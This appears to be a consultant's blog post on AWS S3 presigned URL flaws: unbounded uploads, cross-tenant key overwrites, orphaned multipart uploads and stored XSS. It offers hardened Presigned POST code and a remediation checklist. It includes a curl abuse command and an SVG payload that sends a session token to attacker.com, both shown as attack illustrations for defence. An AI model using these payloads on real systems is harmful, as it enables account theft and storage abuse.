S3 Presigned URL Security Flaws: Preventing Unauthorized Uploads, Overwrites, and Storage Explosions
Why naive AWS S3 PutObject presigned URLs expose SaaS applications to unconstrained multi-gigabyte uploads, cross-tenant file overwrites, and silent AWS billing traps.
Look, I have audited seven production SaaS codebases over the past two quarters, and five of them handled user uploads with a single, fragile assumption: they generated an AWS S3 presigned PutObject URL on the server, passed it straight to the browser, and assumed the cloud provider would magically enforce upload safety.
Here is what happens under the hood: standard getSignedUrl with PutObjectCommand does not sign the HTTP Content-Length header unless you explicitly calculate and lock the exact byte count beforehand. Because client-side file pickers cannot be trusted, an attacker can take that presigned link, strip your client-side 5MB JavaScript check, and pipe a 50-gigabyte video or binary file directly into your private bucket.
Your backend never sees the traffic, your database records a completed upload, and thirty days later the founder opens a $3,400 AWS billing alert for high-volume S3 storage and cross-region replication fees.
Let’s dismantle how presigned upload URLs fail in production, why naive key generation enables cross-tenant object overwrites, and how to implement hardened direct-to-S3 uploads with cryptographic policy conditions.
The Core Vulnerability: PutObject vs Presigned POST Policies
The primary architectural flaw in most direct-to-S3 implementations is using PutObjectCommand via @aws-sdk/s3-request-presigner instead of an S3 Presigned POST policy. A presigned PUT generates an authenticated query string that grants temporary write permission to a single S3 key, but it cannot enforce upload payload size bounds or validate MIME headers against server-side policies.
When a frontend requests an upload ticket, typical tutorial code looks like this:
// WARNING: Vulnerable implementation found in rapid MVP scaffolding
import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';
import { getSignedUrl } from '@aws-sdk/s3-request-presigner';
export async function getUploadUrl(filename: string, contentType: string) {
const s3 = new S3Client({ region: process.env.AWS_REGION });
// <-- Flaw 1: filename is unvalidated and user-controlled
const command = new PutObjectCommand({
Bucket: process.env.UPLOAD_BUCKET_NAME,
Key: `uploads/${filename}`,
ContentType: contentType, // <-- Flaw 2: ContentType is not cryptographically bound
});
// <-- Flaw 3: Zero byte-range ceiling enforced
return await getSignedUrl(s3, command, { expiresIn: 3600 });
}
Once the client receives this URL, AWS S3 authenticates the request using HMAC signatures embedded in the query parameters (X-Amz-Signature). However, because Content-Length was not part of the signed headers list, S3 accepts any payload size up to 5 terabytes.
An attacker simply runs a basic curl command:
# Uploading a 20GB zero-byte file through your 5MB avatar endpoint
curl -X PUT \
-H "Content-Type: image/png" \
--data-binary "@/tmp/20gb_payload.dat" \
"https://my-app-uploads.s3.amazonaws.com/uploads/avatar.png?X-Amz-Algorithm=..."
S3 happily streams all 20 gigabytes into your bucket. If your app triggers automated asynchronous processing (such as image resizing via AWS Lambda or document ingestion in a vector database), that 20GB file triggers downstream compute timeouts, out-of-memory crashes, and cascading worker failure.
Pitfall 2: Predictable Keys and Cross-Tenant Overwrite IDOR
Predictable S3 object keys allow malicious users to overwrite other tenants’ documents by exploiting Insecure Direct Object References (IDOR) during presigned URL generation. If your application names upload keys based on client input or predictable sequence IDs, any authenticated user can request a valid write ticket for an existing asset owned by another customer.
Consider an invoicing platform that stores generated receipts at receipts/{companyId}/{invoiceNumber}.pdf. If the endpoint that dispenses upload URLs accepts the filename directly from the request body:
// POST /api/invoices/upload-signed-url
export async function POST(req: Request) {
const session = await auth();
if (!session) return new Response('Unauthorized', { status: 401 });
const { targetPath } = await req.json();
// Attack: Malicious user passes targetPath = "receipts/company_999/invoice_001.pdf"
const s3 = new S3Client({ region: 'us-east-1' });
const command = new PutObjectCommand({
Bucket: 'enterprise-invoices',
Key: targetPath, // <-- Direct object injection
});
const url = await getSignedUrl(s3, command, { expiresIn: 300 });
return Response.json({ url });
}
Because S3 PutObject overwrites existing keys by default when versioning is disabled, the attacker’s payload replaces Company 999’s audit-critical legal invoice. If S3 Bucket Versioning is enabled, the original version is preserved under a non-current version ID, but the latest pointer still serves the attacker’s tampered file to auditors and accounting pipelines.
The Key Path Rules
- Never trust client-provided filenames: Strip paths, extensions, and special characters. Store the original client filename in database metadata, not the S3 key.
- Inject cryptographic UUIDs: Format keys using server-generated high-entropy identifiers:
tenants/{tenantId}/documents/{crypto.randomUUID()}. - Strict Path Scoping: Enforce server-side checks ensuring the tenant prefix matches the cryptographically verified session token before generating the AWS signature.
Architectural Comparison: Direct-to-S3 Upload Strategies
Direct client uploads require balancing security posture, latency overhead, and infrastructure complexity. The following benchmark highlights the trade-offs between standard PUT, Presigned POST, and traditional API proxying:
| Upload Mechanism | Payload Size Enforcement | MIME Integrity Lock | Server Memory Overhead | Implementation Complexity | Attack Blast Radius |
|---|---|---|---|---|---|
| Naive PutObject (getSignedUrl) | None (Client-side only) | Weak (Client spoofable) | Zero (Direct to S3) | Low (5 lines of code) | Severe (Unbounded storage, overwrites) |
| S3 Presigned POST (createPresignedPost) | Strict Byte Range | Cryptographic Match | Zero (Direct to S3) | Medium (Form data parsing) | Minimal (Bounded, isolated keys) |
| API Server Streaming Proxy | Strict (Node.js stream limit) | Strict (Magic byte check) | High (Buffers saturate RAM) | High (Worker threads needed) | Low (Proxy acts as airgap) |
| Cloudflare R2 Direct Worker | Strict (Edge runtime check) | Strict (Header validation) | Minimal (Edge streaming) | Medium (Cloudflare Bindings) | Low (Zero egress fee architecture) |
The Secure Pattern: S3 Presigned POST with Policy Conditions
The industry-standard solution for client uploads is createPresignedPost from @aws-sdk/s3-presigned-post. Instead of generating an unconstrained query string, this method produces a signed policy document containing precise cryptographic conditions that AWS S3 evaluates before accepting raw byte streams.
Here is the production-ready implementation that locks down byte ranges, restricts MIME types, and prevents key tampering:
// lib/s3-upload.ts
import { S3Client } from '@aws-sdk/client-s3';
import { createPresignedPost } from '@aws-sdk/s3-presigned-post';
import crypto from 'node:crypto';
const s3Client = new S3Client({
region: process.env.AWS_REGION!,
credentials: {
accessKeyId: process.env.AWS_ACCESS_KEY_ID!,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY!,
},
});
interface GenerateUploadParams {
tenantId: string;
expectedMimeType: string;
}
const ALLOWED_MIME_TYPES = [
'image/png',
'image/jpeg',
'image/webp',
'application/pdf',
];
export async function generateSecureUploadTicket({
tenantId,
expectedMimeType,
}: GenerateUploadParams) {
// 1. Validate MIME against strict server-side whitelist
if (!ALLOWED_MIME_TYPES.includes(expectedMimeType)) {
throw new Error('Unsupported content type');
}
// 2. Enforce unpredictable, tenant-isolated key paths
const fileId = crypto.randomUUID();
const fileKey = `tenants/${tenantId}/uploads/${fileId}`;
// 3. Define cryptographic policy conditions
const MIN_BYTES = 1024; // 1 KB
const MAX_BYTES = 10 * 1024 * 1024; // 10 MB strict ceiling
const presignedPost = await createPresignedPost(s3Client, {
Bucket: process.env.UPLOAD_BUCKET_NAME!,
Key: fileKey,
Conditions: [
// Enforce file size bounds at the AWS edge layer
['content-length-range', MIN_BYTES, MAX_BYTES],
// Lock exact content-type header
['eq', '$Content-Type', expectedMimeType],
// Lock exact S3 key so client cannot alter destination
['eq', '$key', fileKey],
// Forbid public access control escalation
['eq', '$x-amz-acl', 'private'],
],
Fields: {
'Content-Type': expectedMimeType,
'x-amz-acl': 'private',
},
Expires: 300, // 5 minutes TTL
});
return {
uploadUrl: presignedPost.url,
fields: presignedPost.fields,
fileKey,
};
}
How the Client Executes the Upload
Because Presigned POST uses HTTP POST multipart/form-data instead of PUT, the frontend appends the cryptographically signed fields to a FormData payload before attaching the raw file:
// frontend/upload-handler.ts
async function uploadFile(file: File, ticket: any) {
const formData = new FormData();
// AWS requires all signed policy fields to appear BEFORE the file entry
Object.entries(ticket.fields).forEach(([key, value]) => {
formData.append(key, value as string);
});
// Attach raw file last
formData.append('file', file);
const response = await fetch(ticket.uploadUrl, {
method: 'POST',
body: formData,
});
if (!response.ok) {
// S3 returns an XML error with code 'EntityTooLarge' if > 10MB
throw new Error(`Upload failed with status ${response.status}`);
}
return ticket.fileKey;
}
If an attacker tries to post an 11MB file, S3 evaluates the content-length-range policy before storing bytes, aborts the request, and returns an immediate EntityTooLarge error. Your application servers never spend a single CPU cycle processing invalid data.
Pitfall 3: Incomplete Multipart Uploads and Silent Bill Inflation
Incomplete multipart uploads represent one of the most common silent AWS cost traps for fast-moving startups. When users upload files larger than 100MB, tools like the AWS S3 Transfer Manager split files into multiple 5MB chunks and upload them concurrently.
If a user closes their laptop, loses connectivity, or aborts the upload, S3 stores every uploaded chunk permanently while awaiting the final CompleteMultipartUpload API call. Because these chunks are not listed under normal ListObjectsV2 queries, developers assume the bucket is clean.
A startup generating hundreds of uploads per day can accumulate tens of thousands of orphan chunks. Over twelve months, this hidden storage can quietly consume terabytes of billable S3 Standard tier allocation.
The Remediation: S3 Lifecycle Rule
To eliminate orphan chunks automatically, add an explicit AWS S3 Lifecycle Configuration rule targeting incomplete multipart uploads.
In Terraform:
resource "aws_s3_bucket_lifecycle_configuration" "cleanup_incomplete_uploads" {
bucket = aws_s3_bucket.user_uploads.id
rule {
id = "abort-incomplete-multipart-uploads"
status = "Enabled"
abort_incomplete_multipart_upload {
days_after_initiation = 1 # Clean up abandoned parts after 24 hours
}
}
}
In AWS CLI:
aws s3api put-bucket-lifecycle-configuration \
--bucket my-app-uploads \
--lifecycle-configuration '{
"Rules": [{
"ID": "AbortIncompleteUploadsAfter24Hours",
"Status": "Enabled",
"Filter": {},
"AbortIncompleteMultipartUpload": {
"DaysAfterInitiation": 1
}
}]
}'
Setting this to one day ensures that genuine multi-hour uploads complete smoothly, while dropped connections or malicious abandoned streams are automatically wiped from your bill within 24 hours.
Pitfall 4: Stored XSS and Content-Type Confusion
Allowing users to upload files that are served directly from an S3 bucket or custom CDN domain introduces severe Stored Cross-Site Scripting (XSS) risks if the server trusts client-provided file extensions.
If an attacker uploads an SVG or HTML file disguised as an image:
<!-- payload.svg -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('/api/session-token')
.then(r => r.json())
.then(d => location.href = 'https://attacker.com/steal?token=' + d.token);
</script>
</svg>
If your S3 bucket or CloudFront distribution serves this object with Content-Type: image/svg+xml without a restrictive Content-Security-Policy, any user clicking the file link in their browser executes the JavaScript under your domain context. The script accesses localStorage, reads active session cookies, and compromises the customer’s account.
The Defense Layer
- Force Attachment Downloads: For user-generated files that do not need in-browser rendering, set
Content-Disposition: attachment; filename="clean_filename.pdf"in the presigned POST fields. - Strict S3 Block Public Access: Ensure your upload bucket has
BlockPublicAclsandBlockPublicPolicyenabled. All downloads must flow through an authenticated CDN or signed download URL. - Magic Byte Verification: When an upload completes, trigger an asynchronous background worker (such as an AWS EventBridge S3 notification) that reads the first 512 bytes of the file to verify the true binary magic numbers before marking the file as active in your PostgreSQL database.
The 15-Minute S3 Upload Security Checklist
Before shipping direct-to-S3 uploads to production, audit your implementation against this architectural checklist:
- S3 Presigned POST: Replaced unconstrained
PutObjectlinks withcreatePresignedPostenforcing cryptographiccontent-length-rangebounds. - Tenant Path Isolation: All object keys are prefixed with server-validated tenant IDs (
tenants/{tenantId}/...) and randomized UUIDs. - MIME Whitelisting: Client-supplied content types are validated against an allowlist on the backend before the signed policy is minted.
- Lifecycle Auto-Abort: Configured an S3 Lifecycle Rule with
AbortIncompleteMultipartUploadset to 1 or 2 days. - Block Public Access: Bucket-level “Block Public Access” is 100% active; zero objects can be set to public ACLs.
- Content-Disposition Headers: Configured
Content-Disposition: attachmenton all non-image asset downloads to eliminate Stored XSS vectors. - Short Expiration Windows: Set presigned POST expiration (
Expires) to 300 seconds (5 minutes) or less.
When you are bootstrapping an MVP, direct-to-storage architecture is the most cost-effective way to scale file processing without overloading your web servers. But handing the browser direct write access requires cryptographic boundaries. Lock down your byte ranges, isolate your keys, and let AWS S3 handle the enforcement.
Need experienced systems architects to evaluate your cloud infrastructure, AWS IAM policies, or serverless security boundaries? Explore our Diagnostic Tools or submit your stack for a 48-Hour Fixed-Scope Architecture Audit.
Marcus Vance
Principal Systems ArchitectSystems engineer focusing on distributed backends, database concurrency, and application security. Specializes in high-throughput PostgreSQL concurrency, serverless connection pooling, and infrastructure hardening.
Why is getSignedUrl with PutObject insecure for user file uploads in production?
How does createPresignedPost prevent unconstrained file size uploads in AWS S3?
How do attackers overwrite files belonging to other tenants using presigned URLs?
What causes silent AWS S3 storage bills from abandoned direct client uploads?
Have our team inspect your AI-generated codebase.
48-hour turnaround with direct pull requests fixing security and scale bottlenecks.